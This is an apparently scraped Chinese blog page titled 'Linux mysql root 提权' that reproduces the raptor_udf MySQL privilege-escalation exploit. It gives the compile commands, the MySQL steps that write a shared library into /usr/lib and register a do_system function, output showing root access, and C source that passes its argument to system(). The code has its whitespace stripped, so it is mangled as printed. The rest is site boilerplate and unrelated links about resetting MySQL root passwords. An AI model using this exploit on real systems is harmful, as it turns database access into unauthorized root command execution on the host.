`
xitong
  • 浏览: 6158199 次
文章分类
社区版块
存档分类
最新评论

Linux mysql root 提权

 
阅读更多

*Usage:
*$id
*uid=500(raptor)gid=500(raptor)groups=500(raptor)
*$gcc-g-craptor_udf.c
*$gcc-g-shared-W1,-soname,raptor_udf.so-oraptor_udf.soraptor_udf.o-lc
*$mysql-uroot-p
*Enterpassword:
*[...]
*mysql>usemysql;
*mysql>createtablefoo(lineblob);
*mysql>insertintofoovalues(load_file('/home/raptor/raptor_udf.so'));
*mysql>select*fromfoointodumpfile'/usr/lib/raptor_udf.so';
*mysql>createfunctiondo_systemreturnsintegersoname'raptor_udf.so';
*mysql>select*frommysql.func;
*+-----------+-----+---------------+----------+
*|name|ret|dl|type|
*+-----------+-----+---------------+----------+
*|do_system|2|raptor_udf.so|function|
*+-----------+-----+---------------+----------+
*mysql>selectdo_system('id>/tmp/out;chownraptor.raptor/tmp/out');
*mysql>\!sh
*sh-2.05b$cat/tmp/out
*uid=0(root)gid=0(root)groups=0(root),1(bin),2(daemon),3(sys),4(adm)
*[...]
*/

raptor_udf.c:

#include<stdio.h>
#include<stdlib.h>

enumItem_result{STRING_RESULT,REAL_RESULT,INT_RESULT,ROW_RESULT};

typedefstructst_udf_args{
unsignedintarg_count;//numberofarguments
enumItem_result*arg_type;//pointertoitem_result
char**args;//pointertoarguments
unsignedlong*lengths;//lengthofstringargs
char*maybe_null;//1formaybe_nullargs
}UDF_ARGS;

typedefstructst_udf_init{
charmaybe_null;//1iffunccanreturnNULL
unsignedintdecimals;//forrealfunctions
unsignedlongmax_length;//forstringfunctions
char*ptr;//freeptrforfuncdata
charconst_item;//0ifresultisconstant
}UDF_INIT;

intdo_system(UDF_INIT*initid,UDF_ARGS*args,char*is_null,char*error)
{
if(args->arg_count!=1)
return(0);

system(args->args[0]);

return(0);
}

分享到:
评论

相关推荐

    mysql用户root提权

    mysql用户root提mysql用户root提

    MySQL重置root密码for Linux

    新装MySQL不知道密码,忘记MySQL密码,都可以安装该方法改过来,在Ubuntu和CentOS上用过多次。

    Linux下破解mysql的root用户密码!

    Linux下破解mysql的root用户密码! Linux下破解mysql的root用户密码!

    linux下非root权限的mysql安装

    linux下非root权限的mysql安装

    修改Mysql的root密码方法

    修改Mysql的root密码方法,比较好用。希望能方便大家。

    在Linux下安装Mysql(非root)

    在Linux下安装Mysql(非root) 不用make等复杂的操作 自己安装过程的总结 绝对有效

    linux MySQL.docx

    Linux MySQL 1 一、linux系统自带MySQL问题 1 1、查看是linux是否自带MySQL 1 2、卸载linux自带MySQL 2 二、下载yum MySQL 2 1、复制yum mysql下载地址 2 2、 下载yum mysql 6 a、新建文件并进入 6 b、下载...

    linux下忘记mysql密码的几种找回方法(推荐)

    今天我们主要是讲一下关于linux忘记mysql密码处理方法,下面提供了5种linux忘记mysql密码找回...mysql&gt; update user set password=password(newpassword) where user=‘root‘; mysql&gt; flush privileges; mysql&gt; quit #

    linux在非root下安装mysql

    查询以前安装的mysql相关包 rpm -qa | grep mysql 暴力删除这个包 rpm -e mysql-libs-5.1.66-2.el6_3.i686 --nodeps rpm -ivh MySQL-server-5.1.73-1.glibc23.i386.rpm rpm -ivh MySQL-client-5.1.73-1....

    linux下mysql的root密码忘记的解决方法

    五步轻松解决mysql root密码忘记的问题,希望对大家有帮助。 1.修改MySQL的登录设置: # vi /etc/my.cnf  在[mysqld]的段中加上一句,skip-grant-tables  例如: [mysqld] datadir=/var/lib/mysql socket=/...

    linux下mysql的root密码忘记解决方法

    linux下mysql的root密码忘记解决方法

    Linux下MYSQL每天完全备份

    利用crontab,系统每天定时备份mysql数据库 利用系统crontab来定时执行备份文件,按日期对备份结果进行保存,达到备份的目的。 1、创建保存备份文件的路径/mysqldata #mkdir /mysqldata 2、创建/usr/sbin/...

    linux下 root 登录 MySQL 报错的问题

    mysql版本为:Ver 14.14 Distrib 5.7.10, for Linux(X86_64) using EditLine wrapper 然而实际上并没有进行过root密码设置(不知道是不是安装过程有被忽略的地方?)。 对此就各种寻找答案,大致有下面一些情况: 有说...

    linux系统中重置mysql的root密码

    我相信平时大家一定会遇到忘记密码的时候,实在记不起来了,我们就会重置密码,最快最直接的方法,这篇文章就是主要介绍了linux系统中重置mysql的root密码的方法,需要的朋友可以参考下

    如何在Linux下修改Mysql的用户(root)密码

    主要介绍了如何在Linux下修改Mysql的用户(root)密码,分两种情况:第一种当拥有原来的mysql的root密码,第二种情况忘记原来的mysql的root的密码,需要的朋友可以参考下

    MySQL修改root密码.txt

    我们在使用Linux下搭建数据库往往会设置很繁琐忘记密码 接下教大家如何不需要密码修改

    linux mysql自动备份

    mysql自动备份shell脚本,下载放到root下载etc/crontab中加入定时启动命令

    linux下mysql的rpm安装包

    一、卸载原来的mysql: 卸载一: 输入: #rpm -qa | grep -i mysql 显示: mysql-libs-5.1.52-1.el6_0.1.i686 卸载方法: yum -y remove mysql-...# mysql -uroot -p123456 或者 # mysql -uroot -p[回车] 再输入密码

    linux下mysql命令大全.pdf

    2.linux下重启mysql的命令: mysqladmin restart /ect/init.d/mysql restart (前面为mysql的安装路径) 3.linux下关闭mysql的命令: mysqladmin -u root -p密码 shutdown /ect/init.d/mysql shutdown...

    在Linux环境下mysql的root密码忘记解决方法(三种)

    主要介绍了在Linux环境下mysql的root密码忘记解决方法,详细的介绍了3种解决办法,具有一定的参考价值,有兴趣的可以了解一下。

Global site tag (gtag.js) - Google Analytics